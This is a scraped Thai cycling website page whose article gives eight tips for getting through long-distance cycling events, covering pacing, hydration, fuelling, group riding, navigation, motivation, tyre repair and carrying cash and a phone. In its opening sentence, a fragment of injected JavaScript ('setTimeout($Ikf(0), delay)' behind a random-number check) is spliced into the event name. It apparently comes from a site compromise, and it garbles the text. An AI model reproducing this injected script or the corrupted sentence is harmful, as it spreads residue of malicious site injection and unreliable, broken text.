• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Cycling Tips

นักปั่นรู้ไว้ไม่เสียหาย…8 ทริคเอาตัวรอดงานปั่นวัดใจ

kan by kan
19 December 2017
in Cycling Tips, Tips & Technics
0
ทิปง่ายๆ สังเกตอาการปวดเเละป้องกันอาการบาดเจ็บกล้ามเนื้อของนักปั่นจักรยาน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

เอาใจนักปั่นมือใหม่และเนื่องในโอกาสต้อนรับการเปิดสนาม Sky Lane Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and อีกครั้งในวันที่ 23 ธันวาคม 2560 Stepextra นำเสนอ 8 ทริคง่ายๆ ที่ช่วยพานักปั่นไปสู่เส้นชัยได้อย่างปลอดภัย

ข้อควรรู้ก่อนที่นักปั่นจะออกงานปั่นระยะทางไกลครั้งแรกๆ ควรมีการฝึกซ้อมและเตรียมร่างกายมาก่อนล่วงหน้าพอสมควร ปั่นได้ถึงระยะ 40 – 60 กิโลเมตรหรือยัง มีความทักษะในการเข้าเกียร์เข้าโค้งและการควงขามาบ้างหรือยัง ถ้ายังไม่ถึงขั้นที่จะสามารถออกงานได้ อย่าเพิ่งออกไปวัดใจตายดาบหน้าเด็ดขาด เดียวจะเกิดอาการบาดเจ็บเอา

  • รักษา pace ของตัวเอง ในจังหวะการปล่อยตัว เราจะออกตัวเร็วและอัตราเต้นของหัวใจจะพุ่งเร็ว เหตุเพราะความตื่นเต้นและอุปทานหมู่ของนักปั่น ซึ่งเป็นเรื่องธรรมดา เมื่อทำระยะห่างจากจุดปล่อยตัวมาสักพัก ก็ให้เริ่มปรับและจัดระเบียบร่างกาย ควบคุมการหายใจ รอบการปั่นตามที่ฝึกมา เลือกเกียร์และรอบขาที่ถนัด อย่าเพิ่งเร่งรอบเพราะนี้คือการปั่นระยะยาว เราต้องบริหารพลังงานให้ไปจนจบการแข่งขัน
  • รักษาระดับน้ำในร่างกาย ลองตั้งเป้าหมายการดื่มน้ำไว้ที่ ทุก 15 นาที อย่าปล่อยให้มีอาการหิวน้ำ เพราะนั้นหมายความว่าร่างกายเราได้เกิดสภาวะขาดน้ำแล้ว โดยทั่วไปในการปั่น 1 ชม. เราอาจต้องการน้ำชดเชย 700-1000 ml ดังนั้นในทุกๆ 15 นาที เราควรดื่มน้ำเท่ากับหรือมากกว่า 125-250 ml และระวังอย่าดื่มน้ำมากไปจนหนักท้อง
  • เติมพลังระหว่างปั่นทุกๆ ชั่วโมง เพราะการปั่นจักรยานจำเป็นต้องใช้พลังงาน เมื่อถึงระยะเวลาหนึ่ง ไกลโคเจนในกล้ามเนื้อจะหมดหายไป ร่างกายจำเป็นต้องวิ่งหาแหล่งพลังงานอื่นๆ ทดแทน ให้ตั้งเป้าหมายไว้ที่ 200 kcal ต่อชั่วโมง ถ้านักปั่นมีร่างกายขนาดใหญ่ หรือมีระบบเผาผลาญพลังงานที่ดีกว่าคนทั่วไป อาจจะต้องเพิ่มเป็น 200+ kcal หากร่างกายเป็นคนตัวเล็กก็อาจน้อยกว่า 200 kcal นักปั่นจำเป็นต้องเตรียมอาหารให้พร้อมเสมอ อย่าไปหวังพึ่งพาจุดบริการน้ำและอาหาร

  • เกาะกลุ่มต้องระวัง การเกาะกลุ่มจะช่วยทุนแรงไปได้เยอะจริง แต่ระวังการกระทบกระทั่งกันของล้อจักรยาน หรือการหักหลบหลุมบ่อจากคนข้างหน้า การเบียดของนักปั่น และจังหวะการยิงหนีจากข้างหลัง การเกี่ยวกันนิดเดียวจะทำให้เกิดการหกล้มได้ พยายามรักษาระยะห่างและระวังสิ่งรบข้างให้ดี ถ้ายังไม่มีประสบการณ์มากพอในการปั่นเกาะกลุ่มกันไป จะแยกออกมาเดี่ยวๆ ก็ได้ ใช้เกียร์เบาเล่นรอบเอา หรือเลือกเกาะกลุ่มเล็กๆ จะดูปลอดภัยกว่า
  • อย่าลืมแผนที่ ถ้าเรามี Bike computer ซึ่งส่วนมากจะเป็น Garmin Edge ก็อย่าลืมโหลดแผนที่ลงมาด้วยเพื่อกันหลง เพราะทุกงานมีคนหลงทางทุกที ถ้าไม่มีก็อย่าลืมศึกษาเส้นทางและสังเกตป้ายนำทางให้ดี
  • จินตนาการถึงเส้นชัยเข้าไว้ เพราะระยะทางปั่นมันยาวไกล ถ้ามั่วแต่นั่งนับหลักกิโลไปเรื่อยๆ จะเกิดอาการท้อใจลงได้ ดังนั้นต้องปลุกใจ สร้างแรงบันดาลด้วยการจินตนาการภาพตัวเองประสบความสำเร็จ ถ้าเป็นนักวิ่งเราอาจจะใช้เพลงกลบฆ่าเวลาขณะวิ่ง แต่การปั่นจักรยานเขาไม่อนุญาตให้ใส่หูฟัง เพราะมันอันตราย นักปั่นต้องฟังและระวังสิ่งรอบข้างเสมอ ทางที่ดีเอาบัดดี้ไปปั่นด้วยกันก็จะดีมาก ช่วยกันลากไปจนถึงเส้นชัย
  • อย่าลืมฝึกซ้อมการปะเปลี่ยนยาง เพราะเราไม่รู้ว่าจะเกิดอาการยางแตกเมื่อไหร ชุดปะยางหรือจะใช้วิธีเปลี่ยนเส้นยางใหม่เลยก้ได้ ซึ่งวิธีหลัง (เปลี่ยนยางใน) จะทำได้ง่ายและเร็วกว่าด้วย ทริคที่แนะนำเพิ่มคืออย่าใส่ลมยางมากเกินไป ปล่อยออกนิดหน่อย คล้ายๆ การปั่นในวันที่ฝนตกถนนเปียก การปล่อยลมออกนิดหน่อยช่วยให้ยางมีพื้นที่ในการรับแรงกระแทกมีความยืดหยุ่นสามารถเกาะถนนได้เพิ่มขึ้น หากมีอากาศร้อนก็จะมีพื้นที่ให้ยางขยายตัว แต่ถ้าปล่อยมากไปความเร็วจะตกลงนะครับ

  • พกเศษเงินและโทรศัพท์มือถือไปด้วย ในกรณีฉุกเฉิน อย่าง เกิดอุบัติเหตุ หรือหลงทางจริงๆ เหล่านี้ เราสามารถใช้มือถือติดต่อทีมงานผู้จัดและทีมกู้ภัยได้ การพกเงินติดตัวไปบ้างจะช่วยแก้ปัญหาเสบียงขาดได้ เพราะหลายๆ ครั้งที่อากาศร้อนทำให้เราต้องดื่มน้ำและเติมพลังงานเพิ่มขึ้นจนหมดสต็อก ทางเลือกก็คือแวะร้าน 7-11 เพื่อซื้อเสบียงเพิ่ม
ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.